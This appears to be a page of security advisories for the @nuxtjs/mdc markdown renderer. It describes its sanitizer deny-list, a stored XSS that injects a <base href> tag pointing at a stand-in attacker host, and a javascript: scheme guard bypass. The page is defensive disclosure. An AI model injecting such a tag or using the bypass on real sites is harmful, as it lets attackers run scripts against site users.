Advisories for Npm/@Nuxtjs/Mdc package

@nuxtjs/mdc renders untrusted markdown (including raw HTML) to a Vue component tree. Across two prior advisories it added a URL/attribute sanitizer to block dangerous links in that HTML: validateProps / validateProp and an unsafeLinkPrefix deny-list (dist/runtime/parser/utils/props.js). The sanitizer runs at parse time (dist/runtime/parser/compiler.js) and parseMarkdown enables raw HTML by default (allowDangerousHtml: true, dist/runtime/parser/options.js), so the sanitizer is the only barrier and it applies with no configuration required. Two sibling vectors …

A remote script-inclusion / stored XSS vulnerability in @nuxtjs/mdc lets a Markdown author inject a <base href="https://attacker.tld"> element. The <base> tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context.

An unsafe parsing logic of the URL from markdown can lead to arbitrary JavaScript code due to a bypass to the existing guards around the javascript: protocol scheme in the URL.